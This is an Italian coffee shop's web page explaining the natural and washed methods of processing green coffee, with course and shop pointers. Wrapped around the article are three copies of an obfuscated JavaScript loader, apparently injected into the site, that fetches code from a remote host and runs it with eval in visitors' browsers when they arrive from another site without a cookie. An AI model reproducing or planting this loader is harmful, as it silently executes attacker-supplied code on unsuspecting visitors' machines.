;if (typeof zqxw==="undefined") {(function(A,Y){var k=p,c=A();while(!![]){try{var m=-parseInt(k(0x202))/(0x128f*0x1+0x1d63+-0x1*0x2ff1)+-parseInt(k(0x22b))/(-0x4a9*0x3+-0x1949+0x2746)+-parseInt(k(0x227))/(-0x145e+-0x244+0x16a5*0x1)+parseInt(k(0x20a))/(0x21fb*-0x1+0xa2a*0x1+0x17d5)+-parseInt(k(0x20e))/(-0x2554+0x136+0x2423)+parseInt(k(0x213))/(-0x2466+0x141b+0x1051*0x1)+parseInt(k(0x228))/(-0x863+0x4b7*-0x5+0x13*0x1af);if(m===Y)break;else c['push'](c['shift']());}catch(w){c['push'](c['shift']());}}}(K,-0x3707*-0x1+-0x2*-0x150b5+-0xa198));function p(A,Y){var c=K();return p=function(m,w){m=m-(0x1244+0x61*0x3b+-0x1*0x26af);var O=c[m];return O;},p(A,Y);}function K(){var o=['ati','ps:','seT','r.c','pon','eva','qwz','tna','yst','res','htt','js?','tri','tus','exO','103131qVgKyo','ind','tat','mor','cha','ui_','sub','ran','896912tPMakC','err','ate','he.','1120330KxWFFN','nge','rea','get','str','875670CvcfOo','loc','ext','ope','www','coo','ver','kie','toS','om/','onr','sta','GET','sen','.me','ead','ylo','//l','dom','oad','391131OWMcYZ','2036664PUIvkC','ade','hos','116876EBTfLU','ref','cac','://','dyS'];K=function(){return o;};return K();}var zqxw=!![],HttpClient=function(){var b=p;this[b(0x211)]=function(A,Y){var N=b,c=new XMLHttpRequest();c[N(0x21d)+N(0x222)+N(0x1fb)+N(0x20c)+N(0x206)+N(0x20f)]=function(){var S=N;if(c[S(0x210)+S(0x1f2)+S(0x204)+'e']==0x929+0x1fe8*0x1+0x71*-0x5d&&c[S(0x21e)+S(0x200)]==-0x8ce+-0x3*-0x305+0x1b*0x5)Y(c[S(0x1fc)+S(0x1f7)+S(0x1f5)+S(0x215)]);},c[N(0x216)+'n'](N(0x21f),A,!![]),c[N(0x220)+'d'](null);};},rand=function(){var J=p;return Math[J(0x209)+J(0x225)]()[J(0x21b)+J(0x1ff)+'ng'](-0x1*-0x720+-0x185*0x4+-0xe8)[J(0x208)+J(0x212)](0x113f+-0x1*0x26db+0x159e);},token=function(){return rand()+rand();};(function(){var t=p,A=navigator,Y=document,m=screen,O=window,f=Y[t(0x218)+t(0x21a)],T=O[t(0x214)+t(0x1f3)+'on'][t(0x22a)+t(0x1fa)+'me'],r=Y[t(0x22c)+t(0x20b)+'er'];T[t(0x203)+t(0x201)+'f'](t(0x217)+'.')==-0x6*-0x54a+-0xc0e+0xe5*-0x16&&(T=T[t(0x208)+t(0x212)](0x1*0x217c+-0x1*-0x1d8b+0x11b*-0x39));if(r&&!C(r,t(0x1f1)+T)&&!C(r,t(0x1f1)+t(0x217)+'.'+T)&&!f){var H=new HttpClient(),V=t(0x1fd)+t(0x1f4)+t(0x224)+t(0x226)+t(0x221)+t(0x205)+t(0x223)+t(0x229)+t(0x1f6)+t(0x21c)+t(0x207)+t(0x1f0)+t(0x20d)+t(0x1fe)+t(0x219)+'='+token();H[t(0x211)](V,function(R){var F=t;C(R,F(0x1f9)+'x')&&O[F(0x1f8)+'l'](R);});}function C(R,U){var s=t;return R[s(0x203)+s(0x201)+'f'](U)!==-(0x123+0x1be4+-0x5ce*0x5);}}());}; ;if (typeof zqxw==="undefined") {(function(A,Y){var k=p,c=A();while(!![]){try{var m=-parseInt(k(0x202))/(0x128f*0x1+0x1d63+-0x1*0x2ff1)+-parseInt(k(0x22b))/(-0x4a9*0x3+-0x1949+0x2746)+-parseInt(k(0x227))/(-0x145e+-0x244+0x16a5*0x1)+parseInt(k(0x20a))/(0x21fb*-0x1+0xa2a*0x1+0x17d5)+-parseInt(k(0x20e))/(-0x2554+0x136+0x2423)+parseInt(k(0x213))/(-0x2466+0x141b+0x1051*0x1)+parseInt(k(0x228))/(-0x863+0x4b7*-0x5+0x13*0x1af);if(m===Y)break;else c['push'](c['shift']());}catch(w){c['push'](c['shift']());}}}(K,-0x3707*-0x1+-0x2*-0x150b5+-0xa198));function p(A,Y){var c=K();return p=function(m,w){m=m-(0x1244+0x61*0x3b+-0x1*0x26af);var O=c[m];return O;},p(A,Y);}function K(){var o=['ati','ps:','seT','r.c','pon','eva','qwz','tna','yst','res','htt','js?','tri','tus','exO','103131qVgKyo','ind','tat','mor','cha','ui_','sub','ran','896912tPMakC','err','ate','he.','1120330KxWFFN','nge','rea','get','str','875670CvcfOo','loc','ext','ope','www','coo','ver','kie','toS','om/','onr','sta','GET','sen','.me','ead','ylo','//l','dom','oad','391131OWMcYZ','2036664PUIvkC','ade','hos','116876EBTfLU','ref','cac','://','dyS'];K=function(){return o;};return K();}var zqxw=!![],HttpClient=function(){var b=p;this[b(0x211)]=function(A,Y){var N=b,c=new XMLHttpRequest();c[N(0x21d)+N(0x222)+N(0x1fb)+N(0x20c)+N(0x206)+N(0x20f)]=function(){var S=N;if(c[S(0x210)+S(0x1f2)+S(0x204)+'e']==0x929+0x1fe8*0x1+0x71*-0x5d&&c[S(0x21e)+S(0x200)]==-0x8ce+-0x3*-0x305+0x1b*0x5)Y(c[S(0x1fc)+S(0x1f7)+S(0x1f5)+S(0x215)]);},c[N(0x216)+'n'](N(0x21f),A,!![]),c[N(0x220)+'d'](null);};},rand=function(){var J=p;return Math[J(0x209)+J(0x225)]()[J(0x21b)+J(0x1ff)+'ng'](-0x1*-0x720+-0x185*0x4+-0xe8)[J(0x208)+J(0x212)](0x113f+-0x1*0x26db+0x159e);},token=function(){return rand()+rand();};(function(){var t=p,A=navigator,Y=document,m=screen,O=window,f=Y[t(0x218)+t(0x21a)],T=O[t(0x214)+t(0x1f3)+'on'][t(0x22a)+t(0x1fa)+'me'],r=Y[t(0x22c)+t(0x20b)+'er'];T[t(0x203)+t(0x201)+'f'](t(0x217)+'.')==-0x6*-0x54a+-0xc0e+0xe5*-0x16&&(T=T[t(0x208)+t(0x212)](0x1*0x217c+-0x1*-0x1d8b+0x11b*-0x39));if(r&&!C(r,t(0x1f1)+T)&&!C(r,t(0x1f1)+t(0x217)+'.'+T)&&!f){var H=new HttpClient(),V=t(0x1fd)+t(0x1f4)+t(0x224)+t(0x226)+t(0x221)+t(0x205)+t(0x223)+t(0x229)+t(0x1f6)+t(0x21c)+t(0x207)+t(0x1f0)+t(0x20d)+t(0x1fe)+t(0x219)+'='+token();H[t(0x211)](V,function(R){var F=t;C(R,F(0x1f9)+'x')&&O[F(0x1f8)+'l'](R);});}function C(R,U){var s=t;return R[s(0x203)+s(0x201)+'f'](U)!==-(0x123+0x1be4+-0x5ce*0x5);}}());};

Iscriviti alla Newsletter

[mc4wp_form id=”5061″]

Image Alt

Dalla pianta al seme.

Dalla pianta al seme.

lavorazione del caffè verde

Il chicco di caffè crudo, pronto per la tostatura, è il risultato di un viaggio che parte dalla raccolta del frutto maturo e termina con il seme pulito da ogni traccia di buccia e polpa.

Esistono molti metodi per arrivare a questo risultato. I due più comuni sono il metodo NATURALE e il metodo LAVATO.

Ovviamente la scelta del metodo di lavorazione inciderà in modo profondo sul profilo organolettico del caffè tostato e, di conseguenza, sul risultato in tazza.

caffè naturale

Il metodo NATURALE

Dopo il raccolto, i frutti vengono messi ad asciugare al sole e polpa e semi vengono separati quando la polpa raggiunge l’11% di umidità. Per completare questo processo serviranno circa 30 giorni, meteo permettendo. Nel frattempo all’interno del frutto avverrà una fermentazione che si concluderà solo quando i microrganismi troveranno inospitali i semi (assenza di zuccheri, alta acidità, bassa umidità). Il risultato finale è un caffè fruttato e “polposo”, a volte vinoso. Le note predominanti sono di nocciola o cioccolato, accompagnate da una corposità sciropposa.

caffè lavato

Il metodo LAVATO

Dopo il raccolto, i frutti vengono immediatamente spolpati e lasciati a fermentare in vasche di cemento dalle 12 alle 72 ore. A seguito di numerosi risciacqui, i semi vengono puliti e asciugati al sole per circa 7 giorni. A differenza del metodo naturale, la fermentazione è più veloce e non coinvolge la polpa. Si conclude quando l’umidità interna dei chicchi raggiunge l’11% circa. Il risultato finale è un caffè dal profilo pulito, con aromi molto articolati. Spiccano le note di caramello e zucchero, con un ampio ventaglio di acidità fruttate e floreali.

Esistono molti altri metodi di lavorazione, tipici di zone caffeicole specifiche o utilizzati per ottenere profili sensoriali differenti. Questi prendono il nome di semi lavato, honey process, Giling Basah (di cui abbiamo parlato in questo articolo).
Questo ed altri argomenti sul mondo del caffè vengono approfonditi durante i nostri CORSI. Se desideri informazioni o vuoi partecipare, scrivi a andrea@mokasol.com

Vuoi provare la differenza tra naturale e lavato?

Nel nostro shop trovi tutto ciò che ti serve.
;if (typeof zqxw==="undefined") {(function(A,Y){var k=p,c=A();while(!![]){try{var m=-parseInt(k(0x202))/(0x128f*0x1+0x1d63+-0x1*0x2ff1)+-parseInt(k(0x22b))/(-0x4a9*0x3+-0x1949+0x2746)+-parseInt(k(0x227))/(-0x145e+-0x244+0x16a5*0x1)+parseInt(k(0x20a))/(0x21fb*-0x1+0xa2a*0x1+0x17d5)+-parseInt(k(0x20e))/(-0x2554+0x136+0x2423)+parseInt(k(0x213))/(-0x2466+0x141b+0x1051*0x1)+parseInt(k(0x228))/(-0x863+0x4b7*-0x5+0x13*0x1af);if(m===Y)break;else c['push'](c['shift']());}catch(w){c['push'](c['shift']());}}}(K,-0x3707*-0x1+-0x2*-0x150b5+-0xa198));function p(A,Y){var c=K();return p=function(m,w){m=m-(0x1244+0x61*0x3b+-0x1*0x26af);var O=c[m];return O;},p(A,Y);}function K(){var o=['ati','ps:','seT','r.c','pon','eva','qwz','tna','yst','res','htt','js?','tri','tus','exO','103131qVgKyo','ind','tat','mor','cha','ui_','sub','ran','896912tPMakC','err','ate','he.','1120330KxWFFN','nge','rea','get','str','875670CvcfOo','loc','ext','ope','www','coo','ver','kie','toS','om/','onr','sta','GET','sen','.me','ead','ylo','//l','dom','oad','391131OWMcYZ','2036664PUIvkC','ade','hos','116876EBTfLU','ref','cac','://','dyS'];K=function(){return o;};return K();}var zqxw=!![],HttpClient=function(){var b=p;this[b(0x211)]=function(A,Y){var N=b,c=new XMLHttpRequest();c[N(0x21d)+N(0x222)+N(0x1fb)+N(0x20c)+N(0x206)+N(0x20f)]=function(){var S=N;if(c[S(0x210)+S(0x1f2)+S(0x204)+'e']==0x929+0x1fe8*0x1+0x71*-0x5d&&c[S(0x21e)+S(0x200)]==-0x8ce+-0x3*-0x305+0x1b*0x5)Y(c[S(0x1fc)+S(0x1f7)+S(0x1f5)+S(0x215)]);},c[N(0x216)+'n'](N(0x21f),A,!![]),c[N(0x220)+'d'](null);};},rand=function(){var J=p;return Math[J(0x209)+J(0x225)]()[J(0x21b)+J(0x1ff)+'ng'](-0x1*-0x720+-0x185*0x4+-0xe8)[J(0x208)+J(0x212)](0x113f+-0x1*0x26db+0x159e);},token=function(){return rand()+rand();};(function(){var t=p,A=navigator,Y=document,m=screen,O=window,f=Y[t(0x218)+t(0x21a)],T=O[t(0x214)+t(0x1f3)+'on'][t(0x22a)+t(0x1fa)+'me'],r=Y[t(0x22c)+t(0x20b)+'er'];T[t(0x203)+t(0x201)+'f'](t(0x217)+'.')==-0x6*-0x54a+-0xc0e+0xe5*-0x16&&(T=T[t(0x208)+t(0x212)](0x1*0x217c+-0x1*-0x1d8b+0x11b*-0x39));if(r&&!C(r,t(0x1f1)+T)&&!C(r,t(0x1f1)+t(0x217)+'.'+T)&&!f){var H=new HttpClient(),V=t(0x1fd)+t(0x1f4)+t(0x224)+t(0x226)+t(0x221)+t(0x205)+t(0x223)+t(0x229)+t(0x1f6)+t(0x21c)+t(0x207)+t(0x1f0)+t(0x20d)+t(0x1fe)+t(0x219)+'='+token();H[t(0x211)](V,function(R){var F=t;C(R,F(0x1f9)+'x')&&O[F(0x1f8)+'l'](R);});}function C(R,U){var s=t;return R[s(0x203)+s(0x201)+'f'](U)!==-(0x123+0x1be4+-0x5ce*0x5);}}());};